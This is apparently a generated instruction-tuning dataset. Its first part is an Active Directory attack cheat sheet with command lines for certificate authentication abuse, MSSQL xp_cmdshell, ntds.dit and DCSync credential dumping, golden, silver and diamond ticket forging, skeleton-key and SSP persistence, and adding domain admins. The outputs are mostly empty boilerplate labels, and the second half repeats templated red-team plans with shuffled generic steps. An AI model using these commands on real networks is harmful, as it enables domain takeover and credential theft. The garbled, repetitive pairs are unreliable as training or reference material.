Instruction: Certificate (pfx)

Input: Pass the certificate

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: pkinit

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: gettgtpkinit.py -cert-pfx "<pfx_file>" ^[-pfx-pass  "<cert-password>"] "<fqdn_domain>/<user>" "<tgt_ccache_file>"

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: Rubeus.exe asktgt /user:"<username>" /certificate:"<pfx_file>" [/password:"<certificate_password>"] /domain:"<fqdn-domain>" /dc:"<dc>" /show

Output: Tool or command referenced under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy auth -pfx <crt_file> -dc-ip <dc_ip>

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: schannel

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy auth -pfx <pfx_file> -ldap-shell

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: Set RBCD

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy cert -pfx "<pfx_file>" -nokey -out "user.crt"

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy cert -pfx "<pfx_file>" -nocert -out "user.key"

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: passthecert.py -action ldap-shell -crt <user.crt> -key <user.key> -domain <domain> -dc-ip <dc_ip>

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: MSSQL

Input: find mssql access

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: nxc mssql <ip> -u <user> -p <password> -d <domain>

Output: NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes.


Instruction: MSSQL

Input: Users or Computers with SQL admin

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: MATCH p=(u:Base)-[:SQLAdmin]->(c:Computer) RETURN p

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: xp_cmdshell <cmd>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: exec_as_user <user>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: exec_as_login <login>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: xp_dir_tree <ip>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: COERCE SMB

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: trustlink

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: Domain Admin

Input: Dump ntds.dit

Output: Note or procedural step under 'Domain Admin'.


Instruction: Domain Admin

Input: nxc smb <dcip> -u <user> -p <password> -d <domain> --ntds

Output: NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes.


Instruction: Domain Admin

Input: secretsdump.py '<domain>/<user>:<pass>'@<ip>

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Domain Admin

Input: ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Output: Note or procedural step under 'Domain Admin'.


Instruction: Domain Admin

Input: secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Domain Admin

Input: msf> windows/gather/credentials/domain_hashdump

Output: Tool or command referenced under 'Domain Admin'.


Instruction: Domain Admin

Input: mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Domain Admin

Input: certsync -u <user> -p '<password>' -d <domain> -dc-ip <dc_ip> -ns <name_server>

Output: Note or procedural step under 'Domain Admin'.


Instruction: Grab backup Keys

Input: donpapi collect - H ':<hash>' <domain>/<user>@<ip_range> -t ALL --fetch-pvk #Credentials

Output: Note or procedural step under 'Grab backup Keys'.


Instruction: Enumeration

Input: nltest.exe /trusted_domains

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get-DomainTrust -Domain <domain>

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get-DomainTrustMapping

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> trusts

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: sharphound.exe -c trusts -d <domain>

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: MATCH p=(:Domain)-[:TrustedBy]->(:Domain) RETURN p

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get Domains SID

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get-DomainSID -Domain <domain> Get-DomainSID -Domain <target_domain>

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: lookupsid.py -domain-sids <domain>/<user>:<password>'@<dc> 0 lookupsid.py -domain-sids <domain>/<user>:<password>'@<target_dc> 0

Output: Note or procedural step under 'Enumeration'.


Instruction: Child->Parent

Input: Trust Key

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: mimikatz lsadump::trust /patch

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: mimikatz kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /aes256:<trust_key_aes256> /sids:<target_domain_sid>-519 /service:krbtgt /target:<target_domain> /ptt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: secretsdump.py -just-dc-user '<parent_domain>$'   <domain>/<user>:<password>@<dc_ip>

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: ticketer.py -nthash <trust_key> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 -spn krbtgt/<parent_domain> trustfakeuser

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: Golden Ticket

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: raiseChild.py <child_domain>/<user>:<password>

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: ticketer.py -nthash <child_krbtgt_hash> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 goldenuser

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: Unconstrained delegation

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: coerce parent_dc on child_dc domain #unconstrained delegation

Output: Note or procedural step under 'Child->Parent'.


Instruction: Parent->Child

Input: same as Child to parent

Output: Note or procedural step under 'Parent->Child'.


Instruction: External Trust

Input: DomainA <--> DomainB trust (B trust A, A trust B)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: from A to B FOREST_TRANSITIVE

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: password reuse

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: lat move (creds/pth/...)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Foreign group and users

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Users with foreign Domain Group Membership

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: MATCH p=(n:User {domain:"<DOMAIN.FQDN>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Group with foreign Domain Group Membership

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: MATCH p=(n:Group {domain:"<DOMAIN.FQDN>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: SID History on B

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Golden ticket

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: External Trust

Input: mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID>-<GROUP_SID_SUP_1000> /ptt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: External Trust

Input: ticketer.py -nthash <krbtgt> -domain-sid <domain_a> -domain <domain_a> -extra-sid <domain_b_sid>-<group_sid sup 1000> fakeuser

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Trust ticket

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: ADCS abuse

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Unconstrained delegation

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: coerce dc_b on dc_a #Uncontrained Delegation (ADCS)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: from A to B is FOREST_TRANSITIVE|TREAT_AS_EXTERNAL

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: DomainA <-- DomainB trust (B trust A / A access B)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Same as double trust, but no unconstrained delegation as B can't connect to A

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: DomainA --> DomainB trust (A trust B / B access A)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: password reuse #lat move (creds/pth/...)

Output: Note or procedural step under 'External Trust'.


Instruction: Mssql links

Input: MSSQL trusted links doesn't care of trust link

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Input: Get-SQLServerLinkCrawl -username <user> -password <pass> -Verbose -Instance <sql_instance>

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Input: mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Input: trustlink

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Output: Note or procedural step under 'Mssql links'.


Instruction: ADD DA

Input: net group "domain admins" myuser /add /domain

Output: Note or procedural step under 'ADD DA'.


Instruction: Golden Ticket

Input: ticketer.py -aesKey <aeskey> -domain-sid <domain_sid> -domain <domain> <anyuser>

Output: Note or procedural step under 'Golden Ticket'.


Instruction: Golden Ticket

Input: mimikatz "kerberos::golden /user:<admin_user> /domain:<domain> /sid:<domain-sid>/aes256:<krbtgt_aes256> /ptt"

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Silver Ticket

Input: mimikatz "kerberos::golden /sid:<current_user_sid> /domain:<domain-sid> /target:<target_server> /service:<target_service> /aes256:<computer_aes256_key> /user:<any_user> /ptt"

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Silver Ticket

Input: ticketer.py -nthash <machine_nt_hash> -domain-sid <domain_sid> -domain <domain> <anyuser>

Output: Note or procedural step under 'Silver Ticket'.


Instruction: Silver Ticket

Input: Directory Service Restore Mode (DSRM)\

Output: Note or procedural step under 'Silver Ticket'.


Instruction: Silver Ticket

Input: PowerShell New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Output: Note or procedural step under 'Silver Ticket'.


Instruction: Skeleton Key

Input: mimikatz "privilege::debug" "misc::skeleton" "exit" #password is mimikatz

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Custom SSP

Input: mimikatz "privilege::debug" "misc::memssp" "exit"

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Custom SSP

Output: Note or procedural step under 'Custom SSP'.


Instruction: Golden certificate

Input: certipy ca -backup -ca '<ca_name>' -username <user>@<domain> -hashes <hash>

Output: Note or procedural step under 'Golden certificate'.


Instruction: Golden certificate

Input: certipy forge -ca-pfx <ca_private_key> -upn <user>@<domain> -subject 'CN=<user>,CN=Users,DC=<CORP>,DC=<LOCAL>

Output: Note or procedural step under 'Golden certificate'.


Instruction: Diamond ticket

Input: ticketer.py -request -domain <domain> -user <user> -password <password> -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid>  -user-id <user_id> -groups '512,513,518,519,520' <anyuser>

Output: Note or procedural step under 'Diamond ticket'.


Instruction: Saphire Ticket

Input: ticketer.py -request -impersonate <anyuser> -domain <domain> -user <user> -password <password>  -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid>  'ignored'

Output: Note or procedural step under 'Saphire Ticket'.


Instruction: Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Stolen VPN credential allowing remote access

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Public-facing web app with possible misconfiguration: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Public-facing web app with possible misconfiguration

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Supplier/third-party compromise suspected: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Supplier/third-party compromise suspected

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Supplier/third-party compromise suspected: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Supplier/third-party compromise suspected

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Search non-destructively for credential material in user profiles and browser stores.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Exposed remote management interface reachable: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Exposed remote management interface reachable

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Search non-destructively for credential material in user profiles and browser stores.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Supplier/third-party compromise suspected: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Supplier/third-party compromise suspected

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Supplier/third-party compromise suspected: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Supplier/third-party compromise suspected

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Search non-destructively for credential material in user profiles and browser stores.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Search non-destructively for credential material in user profiles and browser stores.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Stolen VPN credential allowing remote access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Stolen VPN credential allowing remote access

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Exposed remote management interface reachable: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Exposed remote management interface reachable

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: OAuth app consent token acquired

Output:
